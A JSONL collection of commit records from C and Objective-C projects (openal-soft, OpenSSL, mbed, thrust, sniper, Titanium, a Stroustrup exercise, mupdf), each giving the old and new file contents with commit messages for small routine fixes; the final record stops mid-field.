{"commit":"b212ab9ea21a093ba8fa9895e723bc76b84cf284","old_file":"common\/alcomplex.h","new_file":"common\/alcomplex.h","old_contents":"#ifndef ALCOMPLEX_H\n#define ALCOMPLEX_H\n\n#include <complex>\n\n#include \"alspan.h\"\n\n\/**\n * Iterative implementation of 2-radix FFT (In-place algorithm). Sign = -1 is\n * FFT and 1 is iFFT (inverse). Fills the buffer with the Discrete Fourier\n * Transform (DFT) of the time domain data stored in the buffer. The buffer is\n * an array of complex numbers, and MUST BE power of two.\n *\/\nvoid complex_fft(const al::span<std::complex<double>> buffer, const double sign);\n\n\/**\n * Calculate the complex helical sequence (discrete-time analytical signal) of\n * the given input using the discrete Hilbert transform (In-place algorithm).\n * Fills the buffer with the discrete-time analytical signal stored in the\n * buffer. The buffer is an array of complex numbers and MUST BE power of two.\n *\/\nvoid complex_hilbert(const al::span<std::complex<double>> buffer);\n\n#endif \/* ALCOMPLEX_H *\/\n","new_contents":"#ifndef ALCOMPLEX_H\n#define ALCOMPLEX_H\n\n#include <complex>\n\n#include \"alspan.h\"\n\n\/**\n * Iterative implementation of 2-radix FFT (In-place algorithm). Sign = -1 is\n * FFT and 1 is iFFT (inverse). Fills the buffer with the Discrete Fourier\n * Transform (DFT) of the time domain data stored in the buffer. The buffer is\n * an array of complex numbers, and MUST BE power of two.\n *\/\nvoid complex_fft(const al::span<std::complex<double>> buffer, const double sign);\n\n\/**\n * Calculate the complex helical sequence (discrete-time analytical signal) of\n * the given input using the discrete Hilbert transform (In-place algorithm).\n * Fills the buffer with the discrete-time analytical signal stored in the\n * buffer. The buffer is an array of complex numbers and MUST BE power of two,\n * and the imaginary components should be cleared to 0.\n *\/\nvoid complex_hilbert(const al::span<std::complex<double>> buffer);\n\n#endif \/* ALCOMPLEX_H *\/\n","subject":"Add a note about clearing complex_hilbert's imaginary input","message":"Add a note about clearing complex_hilbert's imaginary input\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"29ce3458d8474870805dd1439cf857d19519bfb1","old_file":"crypto\/engine\/eng_all.c","new_file":"crypto\/engine\/eng_all.c","old_contents":"\/*\n * Copyright 2001-2018 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include \"internal\/cryptlib.h\"\n#include \"eng_int.h\"\n\nvoid ENGINE_load_builtin_engines(void)\n{\n    \/* Some ENGINEs need this *\/\n    OPENSSL_cpuid_setup();\n\n    OPENSSL_init_crypto(OPENSSL_INIT_ENGINE_ALL_BUILTIN, NULL);\n}\n\n#if (defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__DragonFly__)) \\\n    && !OPENSSL_API_1_1_0\nvoid ENGINE_setup_bsd_cryptodev(void)\n{\n}\n#endif\n","new_contents":"\/*\n * Copyright 2001-2018 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include \"internal\/cryptlib.h\"\n#include \"eng_int.h\"\n\nvoid ENGINE_load_builtin_engines(void)\n{\n    OPENSSL_init_crypto(OPENSSL_INIT_ENGINE_ALL_BUILTIN, NULL);\n}\n\n#if (defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__DragonFly__)) \\\n    && !OPENSSL_API_1_1_0\nvoid ENGINE_setup_bsd_cryptodev(void)\n{\n}\n#endif\n","subject":"Remove superfluous call to OPENSSL_cpuid_setup","message":"Remove superfluous call to OPENSSL_cpuid_setup\n\nSigned-off-by: Patrick Steuer <patrick.steuer@de.ibm.com>\n\nReviewed-by: Kurt Roeckx <bb87b47479d83cec3c76132206933257ded727b2@roeckx.be>\nReviewed-by: Matt Caswell <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/9417)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"9806f91ecf0c107718ea04bf6d50e4769c278a01","old_file":"features\/FEATURE_BLE\/ble\/BLERoles.h","new_file":"features\/FEATURE_BLE\/ble\/BLERoles.h","old_contents":"","new_contents":"#ifndef MBED_BLE_ROLES_H__\n#define MBED_BLE_ROLES_H__\n\n#ifdef BLE_ROLE_PERIPHERAL\n    #ifndef BLE_ROLE_OBSERVER\n        #error \"BLE role 'PERIPHERAL' depends on role 'OBSERVER'\"\n    #endif \/\/ BLE_ROLE_OBSERVER\n#endif \/\/ BLE_ROLE_PERIPHERAL\n\n#ifdef BLE_ROLE_CENTRAL\n    #ifndef BLE_ROLE_BROADCASTER\n        #error \"BLE role 'CENTRAL' depends on role 'BROADCASTER'\"\n    #endif \/\/ BLE_ROLE_BROADCASTER\n#endif \/\/ BLE_ROLE_CENTRAL\n\n#ifdef BLE_ROLE_SECURITY\n    #ifndef BLE_ROLE_PERIPHERAL\n        #error \"BLE role 'SECURITY' depends on role 'PERIPHERAL'\"\n    #endif \/\/ BLE_ROLE_PERIPHERAL\n#endif \/\/ BLE_ROLE_SECURITY\n\n#ifdef BLE_ROLE_PRIVACY\n    #ifndef BLE_ROLE_SECURITY\n        #error \"BLE role 'PRIVACY' depends on role 'SECURITY'\"\n    #endif \/\/ BLE_ROLE_SECURITY\n#endif \/\/ BLE_ROLE_PRIVACY\n\n#ifdef BLE_ROLE_GATT_CLIENT\n    #ifndef BLE_ROLE_PERIPHERAL\n        #error \"BLE role 'GATT CLIENT' depends on role 'PERIPHERAL'\"\n    #endif \/\/ BLE_ROLE_PERIPHERAL\n\n    #ifndef BLE_ROLE_BROADCASTER\n        #error \"BLE role 'GATT CLIENT' depends on role 'BROADCASTER'\"\n    #endif \/\/ BLE_ROLE_BROADCASTER\n#endif \/\/ BLE_ROLE_GATT_CLIENT\n\n#ifdef BLE_ROLE_GATT_SERVER\n    #ifndef BLE_ROLE_SECURITY\n        #error \"BLE role 'GATT SERVER' depends on role 'SECURITY'\"\n    #endif \/\/ BLE_ROLE_SECURITY\n#endif \/\/ BLE_ROLE_GATT_SERVER\n\n#endif \/\/ MBED_BLE_ROLES_H__\n","subject":"Add preprocessor check to determine enabled roles are valid","message":"feat(ble): Add preprocessor check to determine enabled roles are valid\n\nA number of BLE roles depend on each other, checking within the target\nconfiguration file for a valid configuration is infeasible. Move the\nvalidation to the preprocessor and fail to compile if some required\nroles are not enabled.\n","lang":"C","license":"apache-2.0","repos":"kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os"}
{"commit":"9e574ac297f55917d8f00482d3504cd5e1647cdb","old_file":"thrust\/detail\/caching_allocator.h","new_file":"thrust\/detail\/caching_allocator.h","old_contents":"\/*\n *  Copyright 2020 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/mr\/allocator.h>\n#include <thrust\/mr\/disjoint_tls_pool.h>\n#include <thrust\/mr\/new.h>\n#include <thrust\/memory\/detail\/device_system_resource.h>\n\nnamespace thrust\n{\nnamespace detail\n{\nthrust::mr::allocator<\n    char,\n    thrust::mr::disjoint_unsynchronized_pool_resource<\n        thrust::device_memory_resource,\n        thrust::mr::new_delete_resource\n    >\n> single_device_tls_caching_allocator()\n{\n    return {\n        &thrust::mr::tls_disjoint_pool(\n            thrust::mr::get_global_resource<thrust::device_memory_resource>(),\n            thrust::mr::get_global_resource<thrust::mr::new_delete_resource>()\n        )\n    };\n}\n}\n}\n","new_contents":"\/*\n *  Copyright 2020 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/mr\/allocator.h>\n#include <thrust\/mr\/disjoint_tls_pool.h>\n#include <thrust\/mr\/new.h>\n#include <thrust\/memory\/detail\/device_system_resource.h>\n\nnamespace thrust\n{\nnamespace detail\n{\ninline\nthrust::mr::allocator<\n    char,\n    thrust::mr::disjoint_unsynchronized_pool_resource<\n        thrust::device_memory_resource,\n        thrust::mr::new_delete_resource\n    >\n> single_device_tls_caching_allocator()\n{\n    return {\n        &thrust::mr::tls_disjoint_pool(\n            thrust::mr::get_global_resource<thrust::device_memory_resource>(),\n            thrust::mr::get_global_resource<thrust::mr::new_delete_resource>()\n        )\n    };\n}\n}\n}\n","subject":"Add a missing inline to the caching allocator accessor.","message":"Add a missing inline to the caching allocator accessor.\n\nCloses #1149.\n\nReviewed-by: David Olsen <c006f74ad218cd79aa222eb0f74d6fabc2b85975@nvidia.com>\nReviewed-by: Bryce Adelstein Lelbach aka wash <2f0f95f95a80179c2180af4c82f6ea311b6bd2c8@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"andrewcorrigan\/thrust-multi-permutation-iterator,andrewcorrigan\/thrust-multi-permutation-iterator,andrewcorrigan\/thrust-multi-permutation-iterator,thrust\/thrust,thrust\/thrust,thrust\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,jaredhoberock\/thrust,thrust\/thrust,thrust\/thrust,jaredhoberock\/thrust"}
{"commit":"ae65ed8fe3edd89f84f8a083cb8c4c21d387c43c","old_file":"sift\/recorder\/threads.h","new_file":"sift\/recorder\/threads.h","old_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   std::deque<ADDRINT> *dyn_address_queue;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_detailed;\n   UINT64 icount_reported;\n   ADDRINT last_syscall_number;\n   ADDRINT last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   ADDRINT last_call_site;\n   BOOL last_syscall_emulated;\n   BOOL running;\n   #if defined(TARGET_IA32)\n      uint8_t __pad[29];\n   #elif defined(TARGET_INTEL64)\n      uint8_t __pad[53];\n   #endif\n} __attribute__((packed)) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","new_contents":"#ifndef __THREAD_INFO_H\n#define __THREAD_INFO_H\n\n#include \"globals.h\"\n#include \"sift_writer.h\"\n#include \"bbv_count.h\"\n\n#include \"pin.H\"\n#include <deque>\n\ntypedef struct {\n   Sift::Writer *output;\n   std::deque<ADDRINT> *dyn_address_queue;\n   Bbv *bbv;\n   UINT64 thread_num;\n   ADDRINT bbv_base;\n   UINT64 bbv_count;\n   ADDRINT bbv_last;\n   BOOL bbv_end;\n   UINT64 blocknum;\n   UINT64 icount;\n   UINT64 icount_detailed;\n   UINT64 icount_reported;\n   ADDRINT last_syscall_number;\n   ADDRINT last_syscall_returnval;\n   UINT64 flowcontrol_target;\n   ADDRINT tid_ptr;\n   ADDRINT last_routine;\n   ADDRINT last_call_site;\n   BOOL last_syscall_emulated;\n   BOOL running;\n} __attribute__((packed,aligned(LINE_SIZE_BYTES))) thread_data_t;\n\nextern thread_data_t *thread_data;\n\nvoid initThreads();\n\n#endif \/\/ __THREAD_INFO_H\n","subject":"Use aligned(LINE_SIZE_BYTES) attribute instead of manually adjusted padding","message":"[sift] Use aligned(LINE_SIZE_BYTES) attribute instead of manually adjusted padding\n","lang":"C","license":"mit","repos":"abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper,abanaiyan\/sniper"}
{"commit":"f73256aa30d789aa13df85fd31ce45581bf029a5","old_file":"iphone\/Classes\/TiUIScrollableView.h","new_file":"iphone\/Classes\/TiUIScrollableView.h","old_contents":"\/**\n * Appcelerator Titanium Mobile\n * Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.\n * Licensed under the terms of the Apache Public License\n * Please see the LICENSE included with this distribution for details.\n *\/\n#ifdef USE_TI_UISCROLLABLEVIEW\n\n#import \"TiUIView.h\"\n\n@interface TiUIScrollableView : TiUIView<UIScrollViewDelegate> {\n@private\n\tUIScrollView *scrollview;\n\tUIPageControl *pageControl;\n\tint currentPage; \/\/ Duplicate some info, just in case we're not showing the page control\n\tBOOL showPageControl;\n\tCGFloat pageControlHeight;\n\tBOOL handlingPageControlEvent;\n\tCGFloat maxScale;\n\tCGFloat minScale;\n        \n    \/\/ Have to correct for an apple goof; rotation stops scrolling, AND doesn't move to the next page.\n    BOOL rotatedWhileScrolling;\n\n    \/\/ See the code for why we need this...\n    int lastPage;\n    \n    int cacheSize;\n}\n\n-(void)manageRotation;\n-(UIScrollView*)scrollview;\n\n@end\n\n#endif","new_contents":"\/**\n * Appcelerator Titanium Mobile\n * Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.\n * Licensed under the terms of the Apache Public License\n * Please see the LICENSE included with this distribution for details.\n *\/\n#ifdef USE_TI_UISCROLLABLEVIEW\n\n#import \"TiUIView.h\"\n\n@interface TiUIScrollableView : TiUIView<UIScrollViewDelegate> {\n@private\n\tUIScrollView *scrollview;\n\tUIPageControl *pageControl;\n\tint currentPage; \/\/ Duplicate some info, just in case we're not showing the page control\n\tBOOL showPageControl;\n\tCGFloat pageControlHeight;\n\tBOOL handlingPageControlEvent;\n        \n    \/\/ Have to correct for an apple goof; rotation stops scrolling, AND doesn't move to the next page.\n    BOOL rotatedWhileScrolling;\n\n    \/\/ See the code for why we need this...\n    int lastPage;\n    \n    int cacheSize;\n}\n\n-(void)manageRotation;\n-(UIScrollView*)scrollview;\n\n@end\n\n#endif","subject":"Include header file changes missed from last checkin","message":"[timob-4738]  Include header file changes missed from last checkin\n","lang":"C","license":"apache-2.0","repos":"pec1985\/titanium_mobile,kopiro\/titanium_mobile,shopmium\/titanium_mobile,pinnamur\/titanium_mobile,peymanmortazavi\/titanium_mobile,jhaynie\/titanium_mobile,FokkeZB\/titanium_mobile,benbahrenburg\/titanium_mobile,smit1625\/titanium_mobile,shopmium\/titanium_mobile,ashcoding\/titanium_mobile,indera\/titanium_mobile,falkolab\/titanium_mobile,falkolab\/titanium_mobile,AngelkPetkov\/titanium_mobile,prop\/titanium_mobile,mano-mykingdom\/titanium_mobile,openbaoz\/titanium_mobile,pinnamur\/titanium_mobile,mano-mykingdom\/titanium_mobile,sriks\/titanium_mobile,pec1985\/titanium_mobile,ashcoding\/titanium_mobile,mvitr\/titanium_mobile,bhatfield\/titanium_mobile,jhaynie\/titanium_mobile,mano-mykingdom\/titanium_mobile,prop\/titanium_mobile,mano-mykingdom\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,mvitr\/titanium_mobile,bhatfield\/titanium_mobile,cheekiatng\/titanium_mobile,pec1985\/titanium_mobile,prop\/titanium_mobile,peymanmortazavi\/titanium_mobile,csg-coder\/titanium_mobile,shopmium\/titanium_mobile,prop\/titanium_mobile,jvkops\/titanium_mobile,arnaudsj\/titanium_mobile,kopiro\/titanium_mobile,kopiro\/titanium_mobile,perdona\/titanium_mobile,smit1625\/titanium_mobile,formalin14\/titanium_mobile,ashcoding\/titanium_mobile,peymanmortazavi\/titanium_mobile,pinnamur\/titanium_mobile,linearhub\/titanium_mobile,bhatfield\/titanium_mobile,openbaoz\/titanium_mobile,kopiro\/titanium_mobile,emilyvon\/titanium_mobile,emilyvon\/titanium_mobile,indera\/titanium_mobile,jhaynie\/titanium_mobile,formalin14\/titanium_mobile,hieupham007\/Titanium_Mobile,pec1985\/titanium_mobile,taoger\/titanium_mobile,perdona\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,csg-coder\/titanium_mobile,AngelkPetkov\/titanium_mobile,FokkeZB\/titanium_mobile,rblalock\/titanium_mobile,peymanmortazavi\/titanium_mobile,cheekiatng\/titanium_mobile,csg-coder\/titanium_mobile,FokkeZB\/titanium_mobile,openbaoz\/titanium_mobile,arnaudsj\/titanium_mobile,jvkops\/titanium_mobile,arnaudsj\/titanium_mobile,linearhub\/titanium_mobile,sriks\/titanium_mobile,cheekiatng\/titanium_mobile,jhaynie\/titanium_mobile,bright-sparks\/titanium_mobile,indera\/titanium_mobile,ashcoding\/titanium_mobile,sriks\/titanium_mobile,bright-sparks\/titanium_mobile,smit1625\/titanium_mobile,arnaudsj\/titanium_mobile,indera\/titanium_mobile,sriks\/titanium_mobile,mvitr\/titanium_mobile,peymanmortazavi\/titanium_mobile,cheekiatng\/titanium_mobile,emilyvon\/titanium_mobile,pinnamur\/titanium_mobile,emilyvon\/titanium_mobile,benbahrenburg\/titanium_mobile,csg-coder\/titanium_mobile,shopmium\/titanium_mobile,mvitr\/titanium_mobile,formalin14\/titanium_mobile,shopmium\/titanium_mobile,emilyvon\/titanium_mobile,mvitr\/titanium_mobile,AngelkPetkov\/titanium_mobile,linearhub\/titanium_mobile,mvitr\/titanium_mobile,peymanmortazavi\/titanium_mobile,ashcoding\/titanium_mobile,hieupham007\/Titanium_Mobile,pec1985\/titanium_mobile,FokkeZB\/titanium_mobile,csg-coder\/titanium_mobile,sriks\/titanium_mobile,KangaCoders\/titanium_mobile,indera\/titanium_mobile,KangaCoders\/titanium_mobile,benbahrenburg\/titanium_mobile,bright-sparks\/titanium_mobile,perdona\/titanium_mobile,collinprice\/titanium_mobile,prop\/titanium_mobile,jvkops\/titanium_mobile,hieupham007\/Titanium_Mobile,pec1985\/titanium_mobile,kopiro\/titanium_mobile,bhatfield\/titanium_mobile,falkolab\/titanium_mobile,sriks\/titanium_mobile,kopiro\/titanium_mobile,openbaoz\/titanium_mobile,FokkeZB\/titanium_mobile,bhatfield\/titanium_mobile,openbaoz\/titanium_mobile,jvkops\/titanium_mobile,pec1985\/titanium_mobile,taoger\/titanium_mobile,jhaynie\/titanium_mobile,bright-sparks\/titanium_mobile,mano-mykingdom\/titanium_mobile,bhatfield\/titanium_mobile,perdona\/titanium_mobile,emilyvon\/titanium_mobile,pec1985\/titanium_mobile,shopmium\/titanium_mobile,bright-sparks\/titanium_mobile,shopmium\/titanium_mobile,bright-sparks\/titanium_mobile,falkolab\/titanium_mobile,mvitr\/titanium_mobile,emilyvon\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,collinprice\/titanium_mobile,benbahrenburg\/titanium_mobile,peymanmortazavi\/titanium_mobile,pinnamur\/titanium_mobile,benbahrenburg\/titanium_mobile,bhatfield\/titanium_mobile,AngelkPetkov\/titanium_mobile,AngelkPetkov\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,kopiro\/titanium_mobile,jvkops\/titanium_mobile,linearhub\/titanium_mobile,KangaCoders\/titanium_mobile,taoger\/titanium_mobile,pinnamur\/titanium_mobile,prop\/titanium_mobile,smit1625\/titanium_mobile,bhatfield\/titanium_mobile,smit1625\/titanium_mobile,hieupham007\/Titanium_Mobile,jhaynie\/titanium_mobile,mvitr\/titanium_mobile,perdona\/titanium_mobile,hieupham007\/Titanium_Mobile,hieupham007\/Titanium_Mobile,taoger\/titanium_mobile,AngelkPetkov\/titanium_mobile,rblalock\/titanium_mobile,benbahrenburg\/titanium_mobile,linearhub\/titanium_mobile,mano-mykingdom\/titanium_mobile,benbahrenburg\/titanium_mobile,perdona\/titanium_mobile,linearhub\/titanium_mobile,indera\/titanium_mobile,falkolab\/titanium_mobile,hieupham007\/Titanium_Mobile,perdona\/titanium_mobile,jvkops\/titanium_mobile,shopmium\/titanium_mobile,linearhub\/titanium_mobile,hieupham007\/Titanium_Mobile,formalin14\/titanium_mobile,rblalock\/titanium_mobile,taoger\/titanium_mobile,prop\/titanium_mobile,bright-sparks\/titanium_mobile,jhaynie\/titanium_mobile,collinprice\/titanium_mobile,openbaoz\/titanium_mobile,jhaynie\/titanium_mobile,KangaCoders\/titanium_mobile,formalin14\/titanium_mobile,jvkops\/titanium_mobile,KangaCoders\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,AngelkPetkov\/titanium_mobile,FokkeZB\/titanium_mobile,cheekiatng\/titanium_mobile,rblalock\/titanium_mobile,ashcoding\/titanium_mobile,bright-sparks\/titanium_mobile,falkolab\/titanium_mobile,prop\/titanium_mobile,taoger\/titanium_mobile,FokkeZB\/titanium_mobile,ashcoding\/titanium_mobile,rblalock\/titanium_mobile,mano-mykingdom\/titanium_mobile,pinnamur\/titanium_mobile,openbaoz\/titanium_mobile,pec1985\/titanium_mobile,jvkops\/titanium_mobile,cheekiatng\/titanium_mobile,perdona\/titanium_mobile,rblalock\/titanium_mobile,falkolab\/titanium_mobile,sriks\/titanium_mobile,pinnamur\/titanium_mobile,arnaudsj\/titanium_mobile,indera\/titanium_mobile,formalin14\/titanium_mobile,collinprice\/titanium_mobile,linearhub\/titanium_mobile,smit1625\/titanium_mobile,cheekiatng\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,openbaoz\/titanium_mobile,pinnamur\/titanium_mobile,emilyvon\/titanium_mobile,peymanmortazavi\/titanium_mobile,benbahrenburg\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,rblalock\/titanium_mobile,smit1625\/titanium_mobile,collinprice\/titanium_mobile,ashcoding\/titanium_mobile,indera\/titanium_mobile,sriks\/titanium_mobile,collinprice\/titanium_mobile,taoger\/titanium_mobile,rblalock\/titanium_mobile,collinprice\/titanium_mobile,formalin14\/titanium_mobile,collinprice\/titanium_mobile,AngelkPetkov\/titanium_mobile,csg-coder\/titanium_mobile,KangaCoders\/titanium_mobile,falkolab\/titanium_mobile,KangaCoders\/titanium_mobile,smit1625\/titanium_mobile,FokkeZB\/titanium_mobile,KoketsoMabuela92\/titanium_mobile,KangaCoders\/titanium_mobile,taoger\/titanium_mobile,kopiro\/titanium_mobile,csg-coder\/titanium_mobile,csg-coder\/titanium_mobile,cheekiatng\/titanium_mobile,arnaudsj\/titanium_mobile,formalin14\/titanium_mobile,mano-mykingdom\/titanium_mobile"}
{"commit":"d618aca68b33ef2e20249c74399de627c6c60424","old_file":"chapter27\/chapter27_ex13.c","new_file":"chapter27\/chapter27_ex13.c","old_contents":"","new_contents":"\/* Chapter 27, exercise 13: define an input operation that reads an arbitrarily\n   long sequence of whitespace-terminated characters into a zero-terminated\n   array of chars *\/\n\n#include<stdlib.h>\n#include<string.h>\n#include<stdio.h>\n#include<ctype.h>\n\nchar* get_word()\n{   int max = 8;\n    char* word = (char*)malloc(max);\n    int count = 0;\n    int x;\n    while ((x=getchar())!=EOF && isgraph(x)) {\n        if (count == max-1) {   \/* double capacity *\/\n            max += max;\n            word = (char*)realloc(word,max);\n            if (word==0) exit(EXIT_FAILURE);\n        }\n        word[count++] = x;\n    }\n    word[count] = 0;\n    return word;\n}\n\nint main()\n{\n    while (1) {\n        char* word = get_word();\n        if (!strcmp(word,\"quit\")) break;\n        printf(\"%s\\n\",word);\n    }\n}\n","subject":"Add Chapter 27, exercise 13","message":"Add Chapter 27, exercise 13\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"66b0664aa1347df44ff7a5a7aa5b35d07df54ea5","old_file":"fitz\/base_memory.c","new_file":"fitz\/base_memory.c","old_contents":"#include \"fitz_base.h\"\n\nvoid * fz_malloc(int n)\n{\n    void *p = malloc(n);\n    if (!p)\n\tfz_throw(\"cannot malloc %d bytes\", n);\n    return p;\n}\n\nvoid * fz_realloc(void *p, int n)\n{\n    void *np = realloc(p, n);\n    if (np == nil)\n\tfz_throw(\"cannot realloc %d bytes\", n);\n    return np;\n}\n\nvoid fz_free(void *p)\n{\n    free(p);\n}\n\nchar * fz_strdup(char *s)\n{\n    char *ns = strdup(s);\n    if (!ns)\n\tfz_throw(\"cannot strdup %d bytes\", strlen(s) + 1);\n    return ns;\n}\n\n","new_contents":"#include \"fitz_base.h\"\n\nvoid * fz_malloc(int n)\n{\n    void *p = malloc(n);\n    if (!p)\n\tfz_throw(\"cannot malloc %d bytes\", n);\n    return p;\n}\n\nvoid * fz_realloc(void *p, int n)\n{\n    void *np = realloc(p, n);\n    if (np == nil)\n\tfz_throw(\"cannot realloc %d bytes\", n);\n    return np;\n}\n\nvoid fz_free(void *p)\n{\n    free(p);\n}\n\nchar * fz_strdup(char *s)\n{\n    char *ns = strdup(s);\n    if (!ns)\n\tfz_throw(\"cannot strdup %lu bytes\", (unsigned long)strlen(s) + 1);\n    return ns;\n}\n\n","subject":"Use the correct format specifier for size_t in fz_strdup.","message":"Use the correct format specifier for size_t in fz_strdup.\n\nPrior to this patch, if the strdup failed, it would throw an error\nprinting the number of bytes that could not be allocated. However,\nthis was formatted as an int, while the actual argument passed is\nthe return value of strdup itself, which is usually a size_t.\n\nThis patch formats instead as an unsigned long, and adds a cast to\nensure the types match even on platforms where this isn't already\nthe case.\n","lang":"C","license":"agpl-3.0","repos":"isavin\/humblepdf,clchiou\/mupdf,muennich\/mupdf,michaelcadilhac\/pdfannot,seagullua\/MuPDF,tribals\/mupdf,lustersir\/MuPDF,loungeup\/mupdf,nqv\/mupdf,PuzzleFlow\/mupdf,hjiayz\/forkmupdf,robamler\/mupdf-nacl,benoit-pierre\/mupdf,tophyr\/mupdf,xiangxw\/mupdf,hackqiang\/mupdf,Kalp695\/mupdf,MokiMobility\/muPDF,zeniko\/mupdf,robamler\/mupdf-nacl,PuzzleFlow\/mupdf,lolo32\/mupdf-mirror,PuzzleFlow\/mupdf,loungeup\/mupdf,FabriceSalvaire\/mupdf-cmake,issuestand\/mupdf,loungeup\/mupdf,ziel\/mupdf,MokiMobility\/muPDF,seagullua\/MuPDF,ziel\/mupdf,FabriceSalvaire\/mupdf-v1.3,benoit-pierre\/mupdf,Kalp695\/mupdf,andyhan\/mupdf,TamirEvan\/mupdf,michaelcadilhac\/pdfannot,andyhan\/mupdf,asbloomf\/mupdf,issuestand\/mupdf,hjiayz\/forkmupdf,robamler\/mupdf-nacl,ziel\/mupdf,knielsen\/mupdf,FabriceSalvaire\/mupdf-cmake,nqv\/mupdf,lustersir\/MuPDF,nqv\/mupdf,wild0\/opened_mupdf,derek-watson\/mupdf,flipstudio\/MuPDF,michaelcadilhac\/pdfannot,ccxvii\/mupdf,knielsen\/mupdf,poor-grad-student\/mupdf,derek-watson\/mupdf,benoit-pierre\/mupdf,muennich\/mupdf,PuzzleFlow\/mupdf,clchiou\/mupdf,github201407\/MuPDF,kobolabs\/mupdf,samturneruk\/mupdf_secure_android,muennich\/mupdf,github201407\/MuPDF,kobolabs\/mupdf,knielsen\/mupdf,zeniko\/mupdf,zeniko\/mupdf,tribals\/mupdf,clchiou\/mupdf,kobolabs\/mupdf,flipstudio\/MuPDF,cgogolin\/penandpdf,clchiou\/mupdf,andyhan\/mupdf,poor-grad-student\/mupdf,xiangxw\/mupdf,ccxvii\/mupdf,poor-grad-student\/mupdf,ArtifexSoftware\/mupdf,ArtifexSoftware\/mupdf,seagullua\/MuPDF,Kalp695\/mupdf,seagullua\/MuPDF,ziel\/mupdf,issuestand\/mupdf,FabriceSalvaire\/mupdf-cmake,tophyr\/mupdf,Kalp695\/mupdf,geetakaur\/NewApps,lustersir\/MuPDF,isavin\/humblepdf,benoit-pierre\/mupdf,FabriceSalvaire\/mupdf-v1.3,TamirEvan\/mupdf,samturneruk\/mupdf_secure_android,robamler\/mupdf-nacl,PuzzleFlow\/mupdf,andyhan\/mupdf,Kalp695\/mupdf,seagullua\/MuPDF,geetakaur\/NewApps,wzhsunn\/mupdf,clchiou\/mupdf,PuzzleFlow\/mupdf,fluks\/mupdf-x11-bookmarks,tophyr\/mupdf,hxx0215\/MuPDFMirror,Kalp695\/mupdf,knielsen\/mupdf,issuestand\/mupdf,crow-misia\/mupdf,TamirEvan\/mupdf,wild0\/opened_mupdf,muennich\/mupdf,andyhan\/mupdf,lustersir\/MuPDF,tribals\/mupdf,xiangxw\/mupdf,crow-misia\/mupdf,cgogolin\/penandpdf,wild0\/opened_mupdf,tophyr\/mupdf,samturneruk\/mupdf_secure_android,sebras\/mupdf,xiangxw\/mupdf,lamemate\/mupdf,andyhan\/mupdf,wild0\/opened_mupdf,TamirEvan\/mupdf,hackqiang\/mupdf,ArtifexSoftware\/mupdf,ylixir\/mupdf,ziel\/mupdf,derek-watson\/mupdf,tribals\/mupdf,ArtifexSoftware\/mupdf,flipstudio\/MuPDF,fluks\/mupdf-x11-bookmarks,sea